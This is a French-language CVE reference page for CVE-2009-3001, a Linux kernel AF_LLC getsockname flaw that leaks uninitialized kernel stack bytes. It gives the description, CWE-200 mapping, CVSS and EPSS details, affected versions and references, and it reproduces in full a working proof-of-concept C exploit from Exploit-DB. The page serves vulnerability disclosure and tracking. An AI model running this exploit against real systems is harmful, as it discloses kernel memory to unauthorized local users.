CVE-2009-3001 : Détail

CVE-2009-3001

A01-Broken Access Control
0.06%V3
Local
2009-08-28
13h00 +00:00
2017-09-18
10h57 +00:00
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Descriptions du CVE

The llc_ui_getname function in net/llc/af_llc.c in the Linux kernel 2.6.31-rc7 and earlier does not initialize a certain data structure, which allows local users to read the contents of some kernel memory locations by calling getsockname on an AF_LLC socket.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:C/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 9513

Date de publication : 2009-08-24 22h00 +00:00
Auteur : Jon Oberheide
EDB Vérifié : Yes

/* * llc-getsockname-leak.c * * Linux Kernel <= 2.6.31-rc7 AF_LLC getsockname 5-Byte Stack Disclosure * Jon Oberheide <[email protected]> * http://jon.oberheide.org * * Information: * * http://git.kernel.org/linus/28e9fc592cb8c7a43e4d3147b38be6032a0e81bc * * sllc_arphrd member of sockaddr_llc might not be changed. Zero sllc * before copying to the above layer's structure. * * Notes: * * Bug is present in <= 2.6.31-rc7, but the impact is limited to <= 2.6.24.4 * as AF_LLC sockets have been restricted to CAP_NET_RAW since then. Only 5 * bytes of uninitialized kernel stack are leaked via AF_LLC's getsockname(). */ #include <stdlib.h> #include <string.h> #include <stdio.h> #include <errno.h> #include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #include <net/if_arp.h> #ifndef AF_LLC #define AF_LLC 26 #endif #ifndef AF_LLC #define AF_LLC 26 #endif #ifndef LLC_SAP_NULL #define LLC_SAP_NULL 0x00 #endif #ifndef __LLC_SOCK_SIZE__ #define __LLC_SOCK_SIZE__ 16 struct sockaddr_llc { sa_family_t sllc_family; sa_family_t sllc_arphrd; unsigned char sllc_test; unsigned char sllc_xid; unsigned char sllc_ua; unsigned char sllc_sap; unsigned char sllc_mac[6]; unsigned char __pad[__LLC_SOCK_SIZE__ - sizeof(sa_family_t) * 2 - sizeof(unsigned char) * 4 - 6]; }; #endif const int randcalls[] = { __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat, __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid, __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, __NR_sched_getparam, __NR_sched_get_priority_max }; void dump(const unsigned char *p, unsigned l) { printf("sockaddr_llc:"); while (l > 0) { printf(" "); if (l == 12 || l == 2) { printf("*** "); } printf("%02x", *p); if (l == 10 || l == 1) { printf(" ***"); } ++p; --l; } printf("\n"); } int main(void) { struct sockaddr_llc sllc; int ret, sock, call, sllc_len = sizeof(sllc); printf("[+] Creating AF_LLC socket.\n"); sock = socket(AF_LLC, SOCK_DGRAM, 0); if (sock == -1) { printf("[-] Error: Couldn't create AF_LLC socket.\n"); printf("[-] %s.\n", strerror(errno)); exit(1); } memset(&sllc, 0, sllc_len); sllc.sllc_family = AF_LLC; sllc.sllc_arphrd = ARPHRD_ETHER; sllc.sllc_sap = LLC_SAP_NULL; printf("[+] Dummy sendto to autobind socket.\n"); ret = sendto(sock, "LEAK", 4, 0, (struct sockaddr *) &sllc, sllc_len); if (ret == -1) { printf("[-] Error: sendto failed.\n"); printf("[-] %s.\n", strerror(errno)); exit(1); } printf("[+] Ready to call getsockname.\n\n"); for (ret = 5; ret > 0; ret--) { printf("%d...\n", ret); sleep(1); } srand(time(NULL)); while (1) { /* random stuff to make stack pseudo-interesting */ call = rand() % (sizeof(randcalls) / sizeof(int)); syscall(randcalls[call]); ret = getsockname(sock, (struct sockaddr *) &sllc, &sllc_len); if (ret != 0) { printf("[-] Error: getsockname failed.\n"); printf("[-] %s.\n", strerror(errno)); exit(1); } dump((unsigned char *) &sllc, sizeof(sllc)); } return 0; } // milw0rm.com [2009-08-25]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Linux>>Linux_kernel >> Version 2.6.31

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 8.04

Canonical>>Ubuntu_linux >> Version 8.10

Canonical>>Ubuntu_linux >> Version 9.04

Références

http://www.openwall.com/lists/oss-security/2009/08/26/1
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-852-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.exploit-db.com/exploits/9513
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/36126
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/37105
Tags : third-party-advisory, x_refsource_SECUNIA